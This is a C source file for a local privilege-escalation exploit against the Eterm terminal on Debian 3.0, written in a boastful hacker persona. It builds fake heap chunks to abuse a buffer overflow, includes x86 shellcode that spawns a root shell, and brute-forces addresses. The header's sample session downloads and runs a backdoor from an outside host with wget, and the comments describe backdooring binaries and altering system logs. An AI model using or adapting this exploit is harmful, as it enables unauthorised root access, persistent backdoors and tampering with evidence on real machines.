/* 0day Eterm <= 0.9.2? x86 */ /* 0day local root xploit for Eterm */ /* dis code is copyrighted(C) by me bazarr */ /* compiles on linux x86 */ /* by: bazarr 3/11/03 */ /* bazarr@ziplip.com */ /* * 2 #darknet girls go round da outside round da outside round da outside * 2 #darknet girls go round da outside round da outside round da outside * bazarr is back * tell a freind * DIS ADVISORY/XPLOIT HAS BEEN CENSORED AGAIN. * I PUT A LOCAL ROOT .c WHEN DIS LIST IS GOING DOWN SOUTH QUICK WID CROSS SITE SCRIPTING BUGS. * AND I AM CENSORED SO HEAVILY ITS NOT EVEN FUNNY. IM TRYING TO HELP DA GREAT BUGTRAQ HERE. * http://geocities.com/rrazab/bazarr-unsencored-episode-3.c * THE REAL ADVISORY CAN BE FOUND THERE. * this bug is a static data buffer overflow wich be many a trickyness to xploit. * but i have managed to xploit dis on linux x86. xploiting on freebsd * might be a different xploit all together since i be using da dlmalloc * implementation to hack eterm(bbp! i be reading your paper). * many a people like to use Eterm while i use gnome-terminal cuz it so easy to config. * when Eterm is installed it normally is installed suid root on many a install. * but on many a distros it is installed as part of default applications package. * ie: debian installs eterm setgid utmp by default. * hi martin. * so by xploiting dis bug on default install of debain you will obtain local gid utmp. * den you are able to backdoor certain binarys to get root. and able to modify * all important log files on da entire system!. CALL ALPHA TANGO TEAM. * you can also xploit programs wich handle utmp/wtmp insecurely. * but on many a install you just get root. * [c00l:code]$ ./a.out aa #THIS BUG COMMING SOON. DIS BE A PREVIEW * sh-2.05a# id * uid=1001(c00l) gid=1001(c00l) euid=0(root) groups=1001(c00l) * sh-2.05a# exit * [c00l:code]$ cc debeterm.c * [c00l:code]$ ./a.out -t0 #back to the eterm bug * [*] Eterm local xploit * [*] Copyright(C) drunken fool on the lose (bazarr) * [*] using retloc 0x8049788 chunkaddr 0x8086af8 retaddr 0xbffeb874 * * in image path. * Eterm: Error: Received terminal signal SIGSEGV (11) * Eterm: Error: Attempting to dump a stack trace.... * GNU gdb 2002-04-01-cvs * Copyright 2002 Free Software Foundation, Inc. * GDB is free software, covered by the GNU General Public License, and you are * welcome to change it and/or distribute copies of it under certain conditions. * Type "show copying" to see the conditions. * There is absolutely no warranty for GDB. Type "show warranty" for details. * This GDB was configured as "i386-linux"...(no debugging symbols found)... * Attaching to program: /usr/bin/Eterm, process 25733 * ptrace: Operation not permitted. * /home/c00l/code/realcode/code/25733: No such file or directory. * /usr/share/Eterm/gdb.scr:1: Error in sourced command file: * No stack. * (gdb) q <--- this is all you need to do you must type 'q' when gdb starts * sh-2.05a# id * uid=0(root) gid=1001(c00l) groups=1001(c00l) * sh-2.05a# wget http://pornoganny.org/.owned/bd.tar.gz ; tar zxvf bd.tar.gz ; cd bd ; make ; ./bd & exit * -bazarr */ #include #include #include #include #include #include #include #include #include #include #include #define NORM "\033[0m" #define RED "\033[31m" #define GREEN "\033[37m" //dis used to be green but im too damn lazy to change da name sorry #define CHUNKGUESS 0x8084a28 //dis is da addr in wich findchunk() will start looking #define CHUNKEND CHUNKGUESS + 85000 // you might have to change chunkguess #define CHUNKARGMAX 35000 #define CHUNKARGMIN 35000 //stupid! #define MAXLINE 1024*4 #define DUPSTREAM 2 //dis be stderr #define HOPELESS 24 //dis be da number of times i try to xploit eterm #define PATH "/usr/bin/Eterm" /* globls */ typedef struct { ssize_t prev_size; ssize_t size; uint32_t fd; uint32_t bk; } chunk_t; typedef struct { char *name; int chunkaddr; int retloc; int retaddr; uint8_t typenum; } targ_t; /* adding types is xplained at da bottom of dis xploit */ /* some people dink dat it funny to have types but i only */ /* have 1 type, but i dont find dat funny */ targ_t targ[] = { {"debian 3.0 w00dy (Eterm 0.9.2)",0x8085ae8,0x8049794,0xbffeb874,0}, {NULL} }; /* if you on a remote box you need to set dis */ /* it has nothing to do wid da xploit though */ /* eterm just does a little check for display */ /* when it starts */ static char *display = NULL; static pid_t cpid = 0; static int chunkaddr = 0; static int retloc = 0; static int retaddr = 0; static uint8_t verbose; static uint8_t brute = 0; char shellcode[] = /* this xploit even uses custom shellcode */ /* all dis by bazarr it so cool isnt it? */ /* oh... :( */ /* main: */ /* dis be a sigprocmask call */ /* can you see how cool it works? */ /* take a look at da sigfillset() src code */ /* den you see what i be doing */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xd2" /* xorl %edx,%edx */ "\xb0\x7e" /* movb $126,$al */ "\x43\x43" /* inc %ebx 2x */ "\x6a\xff" /* pushl $0xffffffff */ "\x89\xe1" /* movl %esp,%ecx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xb0\x17" /* movb $0x17,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x0b" /* movb $0xb,%al */ "\x99" /* cdq */ "\x52" /* pushl %edx */ "\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x52" /* pushl %edx */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\xcd\x80"; /* int $0x80 */ char jmp[] = "\xeb\x0e"; int findchunk(void); void killeterm(int sig); //i dont use dis , it just here watever watever int xploit(void); void usage(void); void mesg(void); void killeterm(int sig) { printf("HELLO\n"); kill(cpid,SIGKILL); } /* CENSORED */ int xploit(void) { char shell[25600]; //real big so we can ensure a steady retaddr #ifndef TEST char chunkarg[CHUNKARGMAX]; #endif #ifdef TEST char chunkarg[CHUNKARGMIN]; //if this is big it'll be put around rs_name #endif char pathchunk[22600]; char sendbuf[1024]; char *ptr = NULL; char genbuf[128]; char cmdbuffer[sizeof(chunkarg)+strlen(PATH)+14]; chunk_t chunk; //we need 2 fake chunks but seeing as they can be the same we use 1 so we can land on whatever int i = 0; pid_t pid = 0; int fd[2]; int fd2[2]; int n = 0; bzero(&chunk,sizeof(chunk)); /* take care of retaddr */ ptr = shell; for (i = 0 ; i < sizeof(shell) - (24 + strlen(shellcode)+18) ;i+=2) { sprintf(ptr,jmp); //fmt string attack returns from da grave! ptr += strlen(jmp); //in new version dis will be patched } //we be using strcat next time memset(ptr,0x99,24); ptr += 24; for (i = 0; i < strlen(shellcode);i++) { *(ptr++) = shellcode[i]; } shell[sizeof(shell)-2] = '\0'; /* take care of path buffer with address of chunks */ ptr = pathchunk; for (i = 0; i < sizeof(pathchunk);i+=4) { *((void**)ptr) = (void*)(chunkaddr); ptr += 4; } pathchunk[sizeof(pathchunk)-2] = '\0'; /* take care of fake chunks */ ptr = chunkarg; chunk.prev_size = 0xfffffff0; chunk.size = 0xfffffff8; chunk.fd = retloc - 12; //we need 2 fake chunks but we can make them both the same chunk.bk = retaddr; for (i = 0; i < sizeof(chunkarg) - 16;i+=16) { memcpy(ptr,&chunk,sizeof(chunk)); ptr += 16; } chunkarg[sizeof(chunkarg)-2] = '\0'; system("killall -9 Eterm 2>/dev/null ; killall -9 gdb 2>/dev/null"); setenv("CODE",shell,1); setenv("ETERMPATH",pathchunk,1); //THIS IS DONE THIS WAY TO POKE FUN AT A PERSON setenv("CHUNKARG",chunkarg,1); #ifdef TEST system("/bin/bash"); #endif #ifndef TEST system("/usr/bin/Eterm --term-name $CHUNKARG"); #endif return -1; } /* CENSORED */ int findchunk(void) { char recvbuf[MAXLINE] = {0}; #ifdef TEST char chunkarg[CHUNKARGMIN] = {0}; #endif #ifndef TEST char chunkarg[CHUNKARGMAX] = {0}; #endif char pathenv[22580]; char extra[25600]; //we dont want major changes from here to xploit char *p = pathenv; char *pp; int chunkguess = CHUNKGUESS; size_t n = 0; int fd[2],i; pid_t pid; chunk_t chunk; uint8_t offset = 0,findoff = 0,twice = 0; signal(SIGALRM,killeterm); bzero(pathenv,sizeof(pathenv)); bzero(chunkarg,sizeof(chunkarg)); chunk.prev_size = 0x41414141; //dis be D chunk.size = 0x42424242; //dis be C chunk.fd = 0x43434343; //dis be B chunk.bk = 0x44444444; //dis be A memset(extra,0x41,sizeof(extra)); extra[sizeof(extra)-1] = '\0'; setenv("CODE",extra,1); p = pathenv; while (chunkguess < CHUNKEND) { bzero(recvbuf,sizeof(recvbuf)); if (!findoff) { memset(chunkarg,0x41,sizeof(chunkarg)-2); chunkarg[sizeof(chunkarg)-1] = '\0'; } else { p = chunkarg; for (i = 0 ; i < sizeof(chunkarg);i+=16) { memcpy(p,&chunk,sizeof(chunk)); p += 16; } chunkarg[sizeof(chunkarg)-2] = '\0'; p = pathenv; } if (pipe(fd)<0) { perror("pipe"); exit(-1); } if ((pid = fork())<0) { perror("fork"); exit(-1); } if (pid == 0) { cpid = getpid(); for (i = 0; i < sizeof(pathenv)-1;i+=4) { *((void**)p) = (void*)(chunkguess); p += 4; } pathenv[sizeof(pathenv)-2] = '\0'; setenv("ETERMPATH",pathenv,1); close(fd[0]); if (dup2(fd[1],DUPSTREAM)!=DUPSTREAM) { perror("dup2"); _exit(-1); } alarm(1); close(STDOUT_FILENO); execl(PATH,PATH,"--term-name",chunkarg,0); _exit(-1); } if (pid > 0) { close(fd[1]); if ((n = read(fd[0],recvbuf,MAXLINE-1))<=0) { if (n == 0) { system("killall -9 Eterm 2>/dev/null ; killall -9 gdb 2>/dev/null"); } else { perror("read"); exit(-1); } } system("killall -9 Eterm 2>/dev/null ; killall -9 gdb 2>/dev/null"); if (!findoff) { if ((pp = strchr(recvbuf,'A'))) { fprintf(stderr,"[+] found offset from recvbuf %d\n",(pp - recvbuf)); offset = (pp - recvbuf); //this shit should be 39 on all eterms if (offset > 39 && (twice != 3)) { //chances be good we came into it on a fucked up way findoff = 0; twice++; continue; } findoff = 1; continue; } } } recvbuf[offset+8] = '\0'; if (verbose) { printf("%s\n",recvbuf+offset); //we only look at the first 8 bytes } if (strstr(recvbuf+offset,"CCCCDDDD")) { //this is the addr we pass to free in eterm chunkaddr = chunkguess; return 0; } else { if (!findoff) { chunkguess += 4200; //dis be big continue; } else if (findoff) { chunkguess += 4; //dis be small continue; } } } return -1; } void mesg(void) { fprintf(stderr,""RED"[*] local Eterm xploit\n"); fprintf(stderr,""GREEN"[*] Copyright(C) drunken fool on the lose (bazarr)\n"); } void listtypes(void) { register uint8_t i = 0; fprintf(stderr,""RED"Types:\n"); for (i = 0;targ[i].name != NULL;i++) { fprintf(stderr,""GREEN"\t%s | retloc 0x%x" " | retaddr 0x%x | chunkaddr 0x%x | type# %u\n"NORM"",targ[i].name, targ[i].retloc,targ[i].retaddr,targ[i].chunkaddr,targ[i].typenum); } putchar('\n'); } void usage(void) { fprintf(stderr, ""RED"debian <= 3.0 eterm local gid utmp\n" ""GREEN"usage:\n" " -v /* verbose debuging stuff */\n" " -r (int) /* set retloc address */\n" " -c (int) /* set chunk address */\n" " -R (int) /* set return address */\n" " -f /* find chunk address only (use to make a new type) */\n" " -l /* list types */\n" " -d (str) /* set display (this has nothing to do with the xploit) */\n"NORM); exit(0); } int main(int argc,char **argv) { //college professor is it char *argv[] or char **argv? int c; uint8_t typenum,numtypes; uint8_t i,didit = 0; signal(SIGPIPE,SIG_IGN); for (i = 0; targ[i].name != NULL;i++); numtypes = i; opterr = 0; while ((c = getopt(argc,argv,"R:d:t:r:c:vfbl"))!=EOF) { switch (c) { case 'r': sscanf(optarg,"%p",&retloc); break; case 'c': sscanf(optarg,"%p",&chunkaddr); break; case 'R': sscanf(optarg,"%p",&retaddr); break; case 'v': verbose = 1; break; case 'f': mesg(); if (findchunk()==0) { fprintf(stderr,"[*] found chunk address at (0x%x)\n"NORM,chunkaddr); } else { fprintf(stderr,"[*] coulden't find chunkaddr\n"NORM); } exit(0); case 'b': brute = 1; break; case '?': usage(); break; case 't': typenum = atoi(optarg); didit = 1; if (typenum >= numtypes) { usage(); } break; case 'l': listtypes(); exit(0); break; case 'd': display = optarg; setenv("DISPLAY",optarg,1); break; default: usage(); } } if (!didit) { usage(); } mesg(); if (!chunkaddr) { chunkaddr = targ[typenum].chunkaddr; } if (!retloc) { retloc = targ[typenum].retloc; } if (!retaddr) { retaddr = targ[typenum].retaddr; } fprintf(stderr,"[*] using retloc 0x%x chunkaddr 0x%x retaddr 0x%x\n"NORM,retloc,chunkaddr,retaddr); xploit(); if (!brute) { exit(0); } for (i = 0; i < HOPELESS;i++) { xploit(); //this really inst brut forcing anything its just retrying till our chunkaddr comes back } //into the spot we want it to wich should take like at the max 10 times exit(-1); } /* to make a new type run follow deese steps (THEY COOL STEPS) CENSORED */ /* .=. //(`)_ //`\/ |\ O`\\ ||-.\_|_/.-|| )/ |_____| \( O # \ / # O (| 0 o |) | * | O.__.\---/.__.O `._ `"` _.' / ; \ \ O'-' )/`'-0 O` the fucking enraged clown. bazarr. */